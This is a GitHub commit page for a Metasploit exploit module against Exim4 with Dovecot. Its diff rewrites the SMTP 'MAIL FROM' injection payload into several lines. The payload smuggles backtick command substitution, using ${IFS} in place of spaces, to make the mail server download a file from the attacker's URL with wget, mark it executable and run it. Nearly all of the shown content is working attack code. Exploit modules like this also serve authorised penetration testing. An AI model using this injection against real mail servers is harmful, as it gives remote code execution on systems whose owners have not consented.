Skip to content

Commit 9025b52

Browse files
author
jvazquez-r7
committed
make the payload build more clear
1 parent d76e14f commit 9025b52

File tree

1 file changed

+5
-1
lines changed

1 file changed

+5
-1
lines changed

modules/exploits/linux/smtp/exim4_dovecot_exec.rb

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -158,7 +158,11 @@ def exploit
158158
# Initiate the message
159159
#
160160
filename = rand_text_alpha_lower(8)
161-
from = "#{rand_text_alpha(3)}`/usr/bin/wget${IFS}#{service_url_payload}${IFS}-O${IFS}/tmp/#{filename}``chmod${IFS}+x${IFS}/tmp/#{filename}``/tmp/#{filename}`@#{ehlo}"
161+
from = rand_text_alpha(3)
162+
from << "`/usr/bin/wget${IFS}#{service_url_payload}${IFS}-O${IFS}/tmp/#{filename}`"
163+
from << "`chmod${IFS}+x${IFS}/tmp/#{filename}`"
164+
from << "`/tmp/#{filename}`"
165+
from << "@#{ehlo}"
162166
to = datastore['MAILTO']
163167

164168
resp = raw_send_recv("MAIL FROM: #{from}\r\n")

0 commit comments

Comments
 (0)